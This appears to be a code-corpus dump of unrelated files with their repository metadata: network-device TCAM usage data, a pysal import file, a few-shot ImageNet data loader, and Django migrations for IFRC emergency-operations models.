'mpls': 0,
'other': 1,
'used': 1,
'used_percent': '0.10%',
'v4': 0,
'v6': 0
}
}
}
}
},
'mac_address_table': {
'subtype': {
'em': {
'dir': {
'i': {
'max': 32768,
'mpls': 0,
'other': 128,
'used': 128,
'used_percent': '0.39%',
'v4': 0,
'v6': 0
}
}
},
'tcam': {
'dir': {
'i': {
'max': 768,
'mpls': 0,
'other': 22,
'used': 22,
'used_percent': '2.86%',
'v4': 0,
'v6': 0
}
}
}
}
},
'macsec_spd': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 256,
'mpls': 0,
'other': 2,
'used': 2,
'used_percent': '0.78%',
'v4': 0,
'v6': 0
}
}
}
}
},
'netflow_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 6,
'used_percent': '0.59%',
'v4': 2,
'v6': 2
},
'o': {
'max': 1024,
'mpls': 0,
'other': 2,
'used': 7,
'used_percent': '0.68%',
'v4': 3,
'v6': 2
}
}
}
}
},
'output_group_le': {
'subtype': {
'tcam': {
'dir': {
'o': {
'max': 1024,
'mpls': 0,
'other': 0,
'used': 0,
'used_percent': '0.00%',
'v4': 0,
'v6': 0
}
}
}
}
},
'pbr_acl': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 15872,
'mpls': 0,
'other': 0,
'used': 32,
'used_percent': '0.20%',
'v4': 26,
'v6': 6
}
}
}
}
},
'qos_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 2560,
'mpls': 0,
'other': 0,
'used': 15,
'used_percent': '0.59%',
'v4': 15,
'v6': 0
},
'o': {
'max': 3072,
'mpls': 0,
'other': 0,
'used': 12,
'used_percent': '0.39%',
'v4': 12,
'v6': 0
}
}
}
}
},
'qos_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1536,
'mpls': 0,
'other': 10,
'used': 30,
'used_percent': '1.95%',
'v4': 0,
'v6': 20
},
'o': {
'max': 1024,
'mpls': 0,
'other': 8,
'used': 24,
'used_percent': '2.34%',
'v4': 0,
'v6': 16
}
}
}
}
},
'security_acl_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 7168,
'mpls': 0,
'other': 0,
'used': 12,
'used_percent': '0.17%',
'v4': 12,
'v6': 0
},
'o': {
'max': 3072,
'mpls': 0,
'other': 0,
'used': 14,
'used_percent': '0.46%',
'v4': 14,
'v6': 0
}
}
}
}
},
'security_acl_non_ipv4': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 5120,
'mpls': 0,
'other': 40,
'used': 76,
'used_percent': '1.48%',
'v4': 0,
'v6': 36
},
'o': {
'max': 5120,
'mpls': 0,
'other': 5,
'used': 29,
'used_percent': '0.57%',
'v4': 0,
'v6': 24
}
}
}
}
},
'tunnel_termination': {
'subtype': {
'tcam': {
'dir': {
'i': {
'max': 1792,
'mpls': 0,
'other': 0,
'used': 29,
'used_percent': '1.62%',
'v4': 11,
'v6': 18
}
}
}
}
}
}
}
}
}
| 35.689604
| 60
| 0.124002
| 1,902
| 47,717
| 3.007886
| 0.062566
| 0.173047
| 0.146827
| 0.09806
| 0.987939
| 0.987939
| 0.987939
| 0.987939
| 0.987939
| 0.987939
| 0
| 0.132211
| 0.778402
| 47,717
| 1,337
| 61
| 35.689604
| 0.408833
| 0
| 0
| 0.724757
| 0
| 0
| 0.108093
| 0.002892
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
cfb865931fa74d92290c3739be19b7713e0c7cf7
| 120
|
py
|
Python
|
pysal/explore/spaghetti/__init__.py
|
martinfleis/pysal
|
d2e0667d825d403efe7182ecda210dc152ec206d
|
[
"BSD-3-Clause"
] | 941
|
2015-01-12T22:25:55.000Z
|
2022-03-27T15:41:29.000Z
|
pysal/explore/spaghetti/__init__.py
|
anekekarina99/pysal
|
bd8c954d34b4694416830a852e26fe40d64424f2
|
[
"BSD-3-Clause"
] | 589
|
2015-01-09T03:58:03.000Z
|
2022-02-26T02:17:15.000Z
|
pysal/explore/spaghetti/__init__.py
|
anekekarina99/pysal
|
bd8c954d34b4694416830a852e26fe40d64424f2
|
[
"BSD-3-Clause"
] | 303
|
2015-01-10T02:59:04.000Z
|
2022-03-05T04:21:55.000Z
|
from spaghetti.network import Network, PointPattern, SimulatedPointPattern
from spaghetti.network import element_as_gdf
| 40
| 74
| 0.883333
| 14
| 120
| 7.428571
| 0.642857
| 0.25
| 0.384615
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083333
| 120
| 2
| 75
| 60
| 0.945455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
cfd5e5e1899de8bc8fe8b8c55a57e12f940d5047
| 12,324
|
py
|
Python
|
data.py
|
vickyFox/IPN
|
a0b54040c7b7d5f69633add8252fca6fd5ce3059
|
[
"MIT"
] | 4
|
2020-11-21T19:13:13.000Z
|
2021-08-03T08:53:45.000Z
|
data.py
|
vickyFox/IPN
|
a0b54040c7b7d5f69633add8252fca6fd5ce3059
|
[
"MIT"
] | null | null | null |
data.py
|
vickyFox/IPN
|
a0b54040c7b7d5f69633add8252fca6fd5ce3059
|
[
"MIT"
] | 1
|
2021-01-14T04:16:48.000Z
|
2021-01-14T04:16:48.000Z
|
from __future__ import print_function
import random
import os
import cv2
from tqdm import tqdm
from PIL import Image as pil_image
import pickle
import torch.utils.data
from torchvision import transforms
from torchtools import *
class MiniImagenetLoader(torch.utils.data.Dataset):
def __init__(self, root, partition='train'):
super(MiniImagenetLoader, self).__init__()
# set dataset information
self.root = root
self.partition = partition
if tt.arg.features:
self.data_size = [640]
else:
self.data_size = [3, 84, 84]
# set normalizer
mean_pix = [x / 255.0 for x in [120.39586422, 115.59361427, 104.54012653]]
std_pix = [x / 255.0 for x in [70.68188272, 68.27635443, 72.54505529]]
normalize = transforms.Normalize(mean=mean_pix, std=std_pix)
# set transformer
if self.partition == 'train':
self.transform = transforms.Compose([transforms.RandomCrop(84, padding=4),
transforms.RandomHorizontalFlip(),
lambda x: np.asarray(x),
transforms.ToTensor(),
normalize])
else: # 'val' or 'test' ,
self.transform = transforms.Compose([lambda x: np.asarray(x),
transforms.ToTensor(),
normalize])
# load data
self.data = self.load_dataset()
def load_dataset(self):
if tt.arg.features:
dataset_path = os.path.join(self.root, 'tiered_WRN_%s.pickle' % self.partition)
with open(dataset_path, 'rb') as handle:
data = pickle.load(handle)
return data
# load data
dataset_path = os.path.join(self.root, 'compacted_datasets/mini_imagenet_%s.pickle' % self.partition)
with open(dataset_path, 'rb') as handle:
data = pickle.load(handle)
# for each class
for c_idx in data:
# for each image
for i_idx in range(len(data[c_idx])):
# resize
image_data = pil_image.fromarray(np.uint8(data[c_idx][i_idx]))
image_data = image_data.resize((self.data_size[2], self.data_size[1]))
# save
data[c_idx][i_idx] = image_data
return data
def get_task_batch(self,
num_tasks=5,
num_ways=20,
num_shots=1,
num_queries=1,
seed=None):
if seed is not None:
random.seed(seed)
# init task batch data
support_data, support_label, query_data, query_label = [], [], [], []
for _ in range(num_ways * num_shots):
data = np.zeros(shape=[num_tasks] + self.data_size,
dtype='float32')
label = np.zeros(shape=[num_tasks],
dtype='float32')
support_data.append(data)
support_label.append(label)
for _ in range(num_ways * num_queries):
data = np.zeros(shape=[num_tasks] + self.data_size,
dtype='float32')
label = np.zeros(shape=[num_tasks],
dtype='float32')
query_data.append(data)
query_label.append(label)
# get full class list in dataset
full_class_list = list(self.data.keys())
label_list = list(range(0, 5))
# random.shuffle(label_list)
# for each task
for t_idx in range(num_tasks):
# define task by sampling classes (num_ways)
task_class_list = random.sample(full_class_list, num_ways)
# for each sampled class in task
for c_idx in range(num_ways):
# sample data for support and query (num_shots + num_queries)
class_data_list = random.sample(self.data[task_class_list[c_idx]], num_shots + num_queries)
# load sample for support set
for i_idx in range(num_shots):
# set data
if tt.arg.features:
support_data[i_idx + c_idx * num_shots][t_idx] = class_data_list[i_idx]
else:
support_data[i_idx + c_idx * num_shots][t_idx] = self.transform(class_data_list[i_idx])
support_label[i_idx + c_idx * num_shots][t_idx] = c_idx
# load sample for query set
for i_idx in range(num_queries):
if tt.arg.features:
query_data[i_idx + c_idx * num_queries][t_idx] = class_data_list[num_shots + i_idx]
else:
query_data[i_idx + c_idx * num_queries][t_idx] = self.transform(
class_data_list[num_shots + i_idx])
query_label[i_idx + c_idx * num_queries][t_idx] = c_idx
# convert to tensor (num_tasks x (num_ways * (num_supports + num_queries)) x ...)
support_data = torch.stack([torch.from_numpy(data).float().to(tt.arg.device) for data in support_data], 1)
support_label = torch.stack([torch.from_numpy(label).float().to(tt.arg.device) for label in support_label], 1)
query_data = torch.stack([torch.from_numpy(query_data[i]).float().to(tt.arg.device) for i in label_list], 1)
query_label = torch.stack([torch.from_numpy(query_label[i]).float().to(tt.arg.device) for i in label_list], 1)
return [support_data, support_label, query_data, query_label]
class TieredImagenetLoader(torch.utils.data.Dataset):
def __init__(self, root, partition='train'):
print("Tiered")
super(TieredImagenetLoader, self).__init__()
# set dataset information
self.root = root
self.partition = partition
if tt.arg.features:
self.data_size = [640]
else:
self.data_size = [3, 84, 84]
# set normalizer
mean_pix = [x / 255.0 for x in [120.45, 115.59361427, 104.54012653]]
std_pix = [x / 255.0 for x in [70.68188272, 68.27635443, 72.54505529]]
normalize = transforms.Normalize(mean=mean_pix, std=std_pix)
# set transformer
if self.partition == 'train':
self.transform = transforms.Compose([transforms.RandomCrop(84, padding=4),
transforms.RandomHorizontalFlip(),
lambda x: np.asarray(x),
transforms.ToTensor(),
normalize])
else: # 'val' or 'test' ,
self.transform = transforms.Compose([lambda x: np.asarray(x),
transforms.ToTensor(),
normalize])
# load data
self.data = self.load_dataset()
def load_dataset(self):
print(tt.arg.features)
if tt.arg.features:
dataset_path = os.path.join(self.root, 'tiered_WRN_eval_%s.pickle' % self.partition)
with open(dataset_path, 'rb') as handle:
data = pickle.load(handle)
return data
# load data
image_dataset_path = os.path.join(self.root, 'tiered-imagenet/',
'%s_images_png.pkl' % self.partition)
label_dataset_path = os.path.join(self.root, 'tiered-imagenet/',
'%s_labels.pkl' % self.partition)
# for each class
resized_image_dataset_path = os.path.join(self.root, 'tiered-imagenet/',
'resized_%s_images_png.pkl' % self.partition)
if os.path.isfile(resized_image_dataset_path):
with open(resized_image_dataset_path, 'rb') as handle:
resized_data = pickle.load(handle)
else:
with open(image_dataset_path, 'rb') as handle:
data = pickle.load(handle)
with open(label_dataset_path, 'rb') as handle:
label = pickle.load(handle)
class_list = np.unique(label['label_specific'])
resized_data = {key: [] for key in class_list}
for i_idx, item in tqdm(enumerate(data), desc='decompress'):
# resize
c_idx = label['label_specific'][i_idx]
image_data = cv2.imdecode(data[i_idx], 1)
image_data = pil_image.fromarray(np.uint8(image_data))
# save
resized_data[c_idx].append(image_data)
print('decode %s image finished'.format(self.partition))
with open(resized_image_dataset_path, 'wb') as f:
pickle.dump(resized_data, f)
return resized_data
def get_task_batch(self,
num_tasks=5,
num_ways=20,
num_shots=1,
num_queries=1,
seed=None):
if seed is not None:
random.seed(seed)
# init task batch data
support_data, support_label, query_data, query_label = [], [], [], []
for _ in range(num_ways * num_shots):
data = np.zeros(shape=[num_tasks] + self.data_size,
dtype='float32')
label = np.zeros(shape=[num_tasks],
dtype='float32')
support_data.append(data)
support_label.append(label)
for _ in range(num_ways * num_queries):
data = np.zeros(shape=[num_tasks] + self.data_size,
dtype='float32')
label = np.zeros(shape=[num_tasks],
dtype='float32')
query_data.append(data)
query_label.append(label)
# get full class list in dataset
full_class_list = list(self.data.keys())
label_list = list(range(0, 5))
# random.shuffle(label_list)
# for each task
for t_idx in range(num_tasks):
# define task by sampling classes (num_ways)
task_class_list = random.sample(full_class_list, num_ways)
# for each sampled class in task
for c_idx in range(num_ways):
# sample data for support and query (num_shots + num_queries)
class_data_list = random.sample(list(self.data[task_class_list[c_idx]]), num_shots + num_queries)
# load sample for support set
for i_idx in range(num_shots):
# set data
if tt.arg.features:
support_data[i_idx + c_idx * num_shots][t_idx] = class_data_list[i_idx]
else:
support_data[i_idx + c_idx * num_shots][t_idx] = self.transform(class_data_list[i_idx])
support_label[i_idx + c_idx * num_shots][t_idx] = c_idx
# load sample for query set
for i_idx in range(num_queries):
if tt.arg.features:
query_data[i_idx + c_idx * num_queries][t_idx] = class_data_list[num_shots + i_idx]
else:
query_data[i_idx + c_idx * num_queries][t_idx] = self.transform(
class_data_list[num_shots + i_idx])
query_label[i_idx + c_idx * num_queries][t_idx] = c_idx
# convert to tensor (num_tasks x (num_ways * (num_supports + num_queries)) x ...)
support_data = torch.stack([torch.from_numpy(data).float().cuda() for data in support_data], 1)
support_label = torch.stack([torch.from_numpy(label).float().cuda() for label in support_label], 1)
query_data = torch.stack([torch.from_numpy(query_data[i]).float().to(tt.arg.device) for i in label_list], 1)
query_label = torch.stack([torch.from_numpy(query_label[i]).float().to(tt.arg.device) for i in label_list], 1)
return [support_data, support_label, query_data, query_label]
| 44.330935
| 118
| 0.544223
| 1,479
| 12,324
| 4.296146
| 0.114266
| 0.018886
| 0.017627
| 0.015109
| 0.853163
| 0.847655
| 0.823418
| 0.801857
| 0.801857
| 0.795404
| 0
| 0.02568
| 0.358569
| 12,324
| 277
| 119
| 44.490975
| 0.778115
| 0.080656
| 0
| 0.722222
| 0
| 0
| 0.030829
| 0.00815
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030303
| false
| 0
| 0.050505
| 0
| 0.121212
| 0.020202
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cfe4ff29b872d88db83974b177ac1df63e372f21
| 5,418
|
py
|
Python
|
api/analytics/migrations/0003_auto_20181130_2359.py
|
c-r-e-a-t-e/aristotle
|
4c0da027d6b2238b7c656bd7ee877283d76f54ed
|
[
"MIT"
] | 3
|
2020-06-27T18:17:02.000Z
|
2021-04-21T15:27:29.000Z
|
api/analytics/migrations/0003_auto_20181130_2359.py
|
c-r-e-a-t-e/aristotle
|
4c0da027d6b2238b7c656bd7ee877283d76f54ed
|
[
"MIT"
] | 15
|
2020-07-29T21:14:45.000Z
|
2021-07-21T04:47:39.000Z
|
api/analytics/migrations/0003_auto_20181130_2359.py
|
TwenteCreates/aristotle
|
4c0da027d6b2238b7c656bd7ee877283d76f54ed
|
[
"MIT"
] | 1
|
2019-02-06T18:18:57.000Z
|
2019-02-06T18:18:57.000Z
|
# Generated by Django 2.1.3 on 2018-11-30 23:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('analytics', '0002_auto_20181130_2356'),
]
operations = [
migrations.AlterField(
model_name='pupil',
name='correct_language_cito',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='correct_math_cito',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='correct_study_skills_cito',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='dutch_language_test_9th',
field=models.FloatField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='ever_registered_as_school_drop_out',
field=models.BooleanField(choices=[(0, 'no'), (1, 'yes')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='exit_school_6th_grade',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='family_both_parents',
field=models.BooleanField(choices=[(0, 'no'), (1, 'yes')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='gender',
field=models.BooleanField(choices=[(0, 'male'), (1, 'female')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='home_language',
field=models.IntegerField(choices=[(0, 'Nederlands'), (1, 'andere taal'), (2, 'dialect')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='iq_6th',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='math_test_9th',
field=models.FloatField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='origin',
field=models.IntegerField(choices=[(0, 'Limburg'), (1, 'Non-Dutch'), (2, '(Other) Dutch')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='parent_support_home_lessons',
field=models.IntegerField(choices=[(0, 'no'), (1, 'some'), (2, 'a lot'), (3, 'quite a lot')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='parent_support_homework_help',
field=models.IntegerField(choices=[(0, 'no'), (1, 'some'), (2, 'a lot'), (3, 'quite a lot')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='parent_support_motivation',
field=models.IntegerField(choices=[(0, 'no'), (1, 'some'), (2, 'a lot'), (3, 'quite a lot')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='parent_support_professional',
field=models.IntegerField(choices=[(0, 'no'), (1, 'some'), (2, 'a lot'), (3, 'quite a lot')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='primary_school',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='region',
field=models.IntegerField(choices=[(0, 'North of South Limburg (Sittard area)'), (1, 'South-East Limburg (Heerlen area)'), (2, 'South-West Limburg (Maastricht area)'), (3, 'Central Limburg'), (4, 'North Limburg')], null=True),
),
migrations.AlterField(
model_name='pupil',
name='school_motivation_score',
field=models.FloatField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='secondary_school',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='secondary_school_location',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='social_capital_score',
field=models.FloatField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='student_birth_month',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='student_birth_year',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='student_end_6th_year',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='student_end_9th_year',
field=models.IntegerField(null=True),
),
migrations.AlterField(
model_name='pupil',
name='study_track_9th',
field=models.IntegerField(choices=[(0, 'vmbo bl/kl'), (1, 'vmbo gl/tl'), (2, 'havo'), (3, 'vwo')], null=True),
),
]
| 36.362416
| 238
| 0.543005
| 526
| 5,418
| 5.43346
| 0.220532
| 0.188943
| 0.236179
| 0.273968
| 0.782365
| 0.728132
| 0.728132
| 0.712386
| 0.664101
| 0.664101
| 0
| 0.02015
| 0.313031
| 5,418
| 148
| 239
| 36.608108
| 0.747716
| 0.008306
| 0
| 0.725352
| 1
| 0
| 0.186185
| 0.056228
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.007042
| 0
| 0.028169
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5c51b22768f3f2bc12b41b2da82254454d2db31a
| 26,185
|
py
|
Python
|
api/migrations/0037_auto_20200109_0902.py
|
IFRCGo/ifrcgo-api
|
c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a
|
[
"MIT"
] | 11
|
2018-06-11T06:05:12.000Z
|
2022-03-25T09:31:44.000Z
|
api/migrations/0037_auto_20200109_0902.py
|
IFRCGo/ifrcgo-api
|
c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a
|
[
"MIT"
] | 498
|
2017-11-07T21:20:13.000Z
|
2022-03-31T14:37:18.000Z
|
api/migrations/0037_auto_20200109_0902.py
|
IFRCGo/ifrcgo-api
|
c1c3e0cf1076ab48d03db6aaf7a00f8485ca9e1a
|
[
"MIT"
] | 6
|
2018-04-11T13:29:50.000Z
|
2020-07-16T16:52:11.000Z
|
# Generated by Django 2.0.12 on 2020-01-09 09:02
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0036_emergencyoperationsdataset'),
]
operations = [
migrations.CreateModel(
name='EmergencyOperationsEA',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('is_validated', models.BooleanField(default=False, help_text='Did anyone check the editable data?')),
('created_at', models.DateTimeField(auto_now_add=True)),
('modified_at', models.DateTimeField(auto_now=True)),
('raw_file_name', models.TextField(blank=True, null=True)),
('raw_file_url', models.TextField(blank=True, null=True)),
('raw_appeal_ends', models.TextField(blank=True, null=True)),
('raw_appeal_launch_date', models.TextField(blank=True, null=True)),
('raw_appeal_number', models.TextField(blank=True, null=True)),
('raw_current_operation_budget', models.TextField(blank=True, null=True)),
('raw_dref_allocated', models.TextField(blank=True, null=True)),
('raw_glide_number', models.TextField(blank=True, null=True)),
('raw_num_of_people_to_be_assisted', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_female', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_male', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_people_reached', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_people_targeted', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_requirements', models.TextField(blank=True, null=True)),
('raw_health_female', models.TextField(blank=True, null=True)),
('raw_health_male', models.TextField(blank=True, null=True)),
('raw_health_people_reached', models.TextField(blank=True, null=True)),
('raw_health_people_targeted', models.TextField(blank=True, null=True)),
('raw_health_requirements', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_female', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_male', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_people_reached', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_people_targeted', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_requirements', models.TextField(blank=True, null=True)),
('raw_migration_female', models.TextField(blank=True, null=True)),
('raw_migration_male', models.TextField(blank=True, null=True)),
('raw_migration_people_reached', models.TextField(blank=True, null=True)),
('raw_migration_people_targeted', models.TextField(blank=True, null=True)),
('raw_migration_requirements', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_female', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_male', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_people_reached', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_people_targeted', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_requirements', models.TextField(blank=True, null=True)),
('raw_shelter_female', models.TextField(blank=True, null=True)),
('raw_shelter_male', models.TextField(blank=True, null=True)),
('raw_shelter_people_reached', models.TextField(blank=True, null=True)),
('raw_shelter_people_targeted', models.TextField(blank=True, null=True)),
('raw_shelter_requirements', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_female', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_male', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_people_reached', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_people_targeted', models.TextField(blank=True, null=True)),
('raw_water_sanitation_and_hygiene_requirements', models.TextField(blank=True, null=True)),
('file_name', models.TextField(blank=True, null=True)),
('appeal_ends', models.DateField(blank=True, null=True)),
('appeal_launch_date', models.DateField(blank=True, null=True)),
('appeal_number', models.CharField(blank=True, max_length=20, null=True)),
('current_operation_budget', models.IntegerField(blank=True, null=True)),
('dref_allocated', models.IntegerField(blank=True, null=True)),
('glide_number', models.CharField(blank=True, max_length=18, null=True)),
('num_of_people_to_be_assisted', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_female', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_male', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_people_reached', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_people_targeted', models.IntegerField(blank=True, null=True)),
('disaster_risk_reduction_requirements', models.IntegerField(blank=True, null=True)),
('health_female', models.IntegerField(blank=True, null=True)),
('health_male', models.IntegerField(blank=True, null=True)),
('health_people_reached', models.IntegerField(blank=True, null=True)),
('health_people_targeted', models.IntegerField(blank=True, null=True)),
('health_requirements', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_female', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_male', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_people_reached', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_people_targeted', models.IntegerField(blank=True, null=True)),
('livelihoods_and_basic_needs_requirements', models.IntegerField(blank=True, null=True)),
('migration_female', models.IntegerField(blank=True, null=True)),
('migration_male', models.IntegerField(blank=True, null=True)),
('migration_people_reached', models.IntegerField(blank=True, null=True)),
('migration_people_targeted', models.IntegerField(blank=True, null=True)),
('migration_requirements', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_female', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_male', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_people_reached', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_people_targeted', models.IntegerField(blank=True, null=True)),
('protection_gender_and_inclusion_requirements', models.IntegerField(blank=True, null=True)),
('shelter_female', models.IntegerField(blank=True, null=True)),
('shelter_male', models.IntegerField(blank=True, null=True)),
('shelter_people_reached', models.IntegerField(blank=True, null=True)),
('shelter_people_targeted', models.IntegerField(blank=True, null=True)),
('shelter_requirements', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_female', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_male', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_people_reached', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_people_targeted', models.IntegerField(blank=True, null=True)),
('water_sanitation_and_hygiene_requirements', models.IntegerField(blank=True, null=True)),
],
options={
'verbose_name': 'Emergency Operations Emergency Appeal',
'verbose_name_plural': 'Emergency Operations Emergency Appeals',
},
),
migrations.CreateModel(
name='EmergencyOperationsFR',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('is_validated', models.BooleanField(default=False, help_text='Did anyone check the editable data?')),
('created_at', models.DateTimeField(auto_now_add=True)),
('modified_at', models.DateTimeField(auto_now=True)),
('raw_file_name', models.TextField(blank=True, null=True)),
('raw_file_url', models.TextField(blank=True, null=True)),
('raw_appeal_number', models.TextField(blank=True, null=True)),
('raw_date_of_disaster', models.TextField(blank=True, null=True)),
('raw_date_of_issue', models.TextField(blank=True, null=True)),
('raw_glide_number', models.TextField(blank=True, null=True)),
('raw_num_of_other_partner_involved', models.TextField(blank=True, null=True)),
('raw_num_of_partner_ns_involved', models.TextField(blank=True, null=True)),
('raw_num_of_people_affected', models.TextField(blank=True, null=True)),
('raw_num_of_people_to_be_assisted', models.TextField(blank=True, null=True)),
('raw_operation_end_date', models.TextField(blank=True, null=True)),
('raw_operation_start_date', models.TextField(blank=True, null=True)),
('raw_overall_operation_budget', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_female', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_male', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_people_reached', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_people_targeted', models.TextField(blank=True, null=True)),
('raw_disaster_risk_reduction_requirements', models.TextField(blank=True, null=True)),
('raw_health_female', models.TextField(blank=True, null=True)),
('raw_health_male', models.TextField(blank=True, null=True)),
('raw_health_people_reached', models.TextField(blank=True, null=True)),
('raw_health_people_targeted', models.TextField(blank=True, null=True)),
('raw_health_requirements', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_female', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_male', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_people_reached', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_people_targeted', models.TextField(blank=True, null=True)),
('raw_livelihoods_and_basic_needs_requirements', models.TextField(blank=True, null=True)),
('raw_migration_female', models.TextField(blank=True, null=True)),
('raw_migration_male', models.TextField(blank=True, null=True)),
('raw_migration_people_reached', models.TextField(blank=True, null=True)),
('raw_migration_people_targeted', models.TextField(blank=True, null=True)),
('raw_migration_requirements', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_female', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_male', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_people_reached', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_people_targeted', models.TextField(blank=True, null=True)),
('raw_protection_gender_and_inclusion_requirements', models.TextField(blank=True, null=True)),
('raw_shelter_female', models.TextField(blank=True, null=True)),
('raw_shelter_male', models.TextField(blank=True, null=True)),
